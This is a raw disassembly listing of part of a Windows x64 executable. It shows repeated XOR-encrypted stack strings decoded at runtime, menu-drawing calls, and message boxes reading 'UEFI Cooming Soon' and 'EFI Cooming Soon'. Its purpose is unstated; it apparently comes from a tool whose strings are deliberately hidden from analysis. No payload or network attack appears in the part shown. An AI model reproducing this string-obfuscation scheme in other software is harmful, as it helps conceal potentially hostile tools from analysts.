movabs rax, 0x729e6a1287b9b5be
mov r9d, edx
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xf70]
mov qword [rbp + 0xf88], rax
xorps xmm0, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0xf70], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm7, dword [0x14016f55c]
lea rcx, [rbp + 0x380]
movss xmm2, dword [0x14016f5f0]
movaps xmm1, xmm7
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d8]
lea rcx, [rbp + 0xf70]
mov rdx, qword [0x1403a2270]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xca42b8899783f023
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa8], rcx
lea rcx, [rbp + 0xfc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfb0], rax
mov qword [rbp + 0x10], rdx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xfa0]
mov r8d, edx
mov qword [rbp + 0xfb8], rax
xorps xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0xfa0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5fc]
lea rcx, [rbp + 0x388]
movaps xmm1, xmm7
mov ebx, eax
call fcn.140001d60
movss xmm7, dword [0x14016f4e4]
lea rcx, [rbp + 0xfa0]
mov rdx, qword [0x1403a2270]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xcd4ca18c9783f023
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12f4dcdddd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfd0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfd8], rcx
lea rcx, [rbp + 0xff0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfe0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xfd0]
mov qword [rbp + 0xfe8], rax
xorps xmm0, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0xfd0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f60c]
lea rcx, [rbp + 0x390]
movss xmm1, dword [0x14016f55c]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d4]
lea rcx, [rbp + 0xfd0]
mov rdx, qword [0x1403a2280]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9941a8a5d99af535
mov qword [rbp + 0x10], rax
movabs rax, 0x72ed0f75e9d8ddfd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1000], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1008], rcx
lea rcx, [rbp + 0x1020]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1010], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1000]
mov qword [rbp + 0x1018], rax
xorps xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x1000], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f618]
lea rcx, [rbp + 0x398]
movss xmm1, dword [0x14016f55c]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d4]
lea rcx, [rbp + 0x1000]
mov rdx, qword [0x1403a2270]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x3a0]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f5e4]
addss xmm1, dword [0x14016f610]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x3a8]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f634]
call fcn.140001d60
call fcn.140013290
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1030]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f488]
lea r8, [rbp + 0x3a8]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x3a0]
movss xmm0, dword [0x14016f4b4]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xf86b8486e2b7d52c
mov qword [rbp + 0x10], rax
movabs rax, 0x729e5a3cb699fcea
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1040], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1048], rcx
lea rcx, [rbp + 0x1060]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1050], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1040]
mov qword [rbp + 0x1058], rax
xorps xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x1040], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5f0]
lea rcx, [rbp + 0x3b0]
movss xmm1, dword [0x14016f618]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d8]
lea rcx, [rbp + 0x1040]
mov rdx, qword [0x1403a2270]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9940b9aada92f724
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9fceb
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1070], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1078], rcx
lea rcx, [rbp + 0x1090]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1080], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1070]
mov qword [rbp + 0x1088], rax
xorps xmm0, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x1070], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5fc]
lea rcx, [rbp + 0x3b8]
movss xmm1, dword [0x14016f618]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2270]
lea rcx, [rbp + 0x1070]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xdc57a286979ffd24
mov qword [rbp + 0x10], rax
movabs rax, 0x1bea0b7feed7f49e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x23c0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x23c8], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov dword [rsp + 0x20], 0xff
movabs rax, 0xd106f6115ab07d58
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov qword [rbp + 0x10], rax
mov r9d, edx
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov qword [rbp + 0x23d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23d8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23e0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23e8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x10a0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23f8], rax
vmovdqu ymm0, ymmword [rbp + 0x23e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x23c0]
vmovdqa ymmword [rbp + 0x23c0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f60c]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x14016f618]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d4]
lea rcx, [rbp + 0x23c0]
mov rdx, qword [0x1403a2280]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9941a8a5d99af535
mov qword [rbp + 0x10], rax
movabs rax, 0x72ed0f75e9d8ddfd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10b0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10b8], rcx
lea rcx, [rbp + 0x10d0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10c0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10c8], rax
movdqa xmm0, xmmword [rbp + 0x10c0]
xorps xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x10b0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f618]
lea rcx, [rbp + 0x3c8]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d4]
lea rcx, [rbp + 0x10b0]
mov rdx, qword [0x1403a2270]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
jmp 0x14005119b
movss xmm6, dword [0x14016f4e8]
movss xmm7, dword [0x14016f4e4]
mov r14, qword [rbp + 0x150]
cmp dword [0x1403a2288], 4
jne 0x140052893
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x10e0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x3d0]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x3d8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x3e0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x3e8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140051296
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x3f0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400512d1
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x3f8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14005130c
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x400]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140051347
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x408]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140051382
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
movss xmm2, dword [0x14016f500]
lea rcx, [rbp + 0x410]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movaps xmm2, xmm14
lea rcx, [rbp + 0x418]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x10f0]
xor eax, eax
movabs rbx, 0x729e6a1287b9b5be
mov byte [rbp], al
movabs rdi, 0xb925cdcbb7fb9965
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925a1aada89f62b
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10f0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10f8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1100], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1403a2288], 4
mov qword [rbp + 0x1108], rax
movdqa xmm0, xmmword [rbp + 0x1100]
sete cl
xorps xmm0, xmmword [rbp + 0x10f0]
xor r9d, r9d
movdqa xmmword [rbp + 0x10f0], xmm0
call fcn.140036950
test al, al
je 0x14005146a
mov dword [0x1403a2288], 4
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x420]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1110]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbfebddc30
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1110], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1118], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1120], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1403a2288], 8
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x1120]
sete cl
xorps xmm0, xmmword [rbp + 0x1110]
xor r9d, r9d
movdqa xmmword [rbp + 0x1110], xmm0
call fcn.140036950
test al, al
je 0x140051544
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x428]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1130]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7b2df20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1130], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1138], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1140], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1403a2288], 9
mov qword [rbp + 0x1148], rax
movdqa xmm0, xmmword [rbp + 0x1140]
sete cl
xorps xmm0, xmmword [rbp + 0x1130]
xor r9d, r9d
movdqa xmmword [rbp + 0x1130], xmm0
call fcn.140036950
test al, al
je 0x14005161e
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.EFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140013290
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1150]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x430]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x438]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x440]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x991fbebec39aed36
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1160], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1168], rcx
lea rcx, [rbp + 0x1180]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1170], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x1178], rax
mov r8d, edx
movdqa xmm0, xmmword [rbp + 0x1170]
xorps xmm0, xmmword [rbp + 0x1160]
movdqa xmmword [rbp + 0x1160], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x448]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
xor esi, esi
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1160]
mov qword [rsp + 0x30], rsi
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm7
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xcd46a8bfd29ff730
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d1db
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1190], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1198], rcx
lea rcx, [rbp + 0x11b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11a0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x11a0]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x1190], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x450]
movss xmm1, dword [0x14016f59c]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1190]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rsi, qword [rbp + 0x158]
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f53c]
lea rcx, [rbp + 0x458]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11c0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11d0]
mov r8d, edx
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdd5598ebc388f829
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a32bddcc1df
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11e0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11e8], rcx
lea rcx, [rbp + 0x1200]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11f0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11f8], rax
movdqa xmm0, xmmword [rbp + 0x11f0]
xorps xmm0, xmmword [rbp + 0x11e0]
movdqa xmmword [rbp + 0x11e0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x460]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x11e0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x8b15ffe48fcab653
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b58a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1210], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1218], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1220], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1228], rax
movdqa xmm0, xmmword [rbp + 0x1220]
lea rcx, [rbp + 0x1230]
xorps xmm0, xmmword [rbp + 0x1210]
mov edx, 0xa
mov r9d, edx
movdqa xmmword [rbp + 0x1210], xmm0
mov r8d, edx
mov dword [rsp + 0x20], 0xff
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x468]
movss xmm1, dword [0x14016f5b8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1210]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f54c]
lea rcx, [rbp + 0x470]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1240]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1250]
mov r8d, edx
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xcc76edb8d296f822
mov qword [rbp + 0x10], rax
movabs rax, 0x48fa0f66f5d6c5ce
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2400], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xd106f6115ac31317
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2408], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2410], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2418], rax
movabs rax, 0xb925cdcbb7fb9965
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x2420], rax
mov r8d, edx
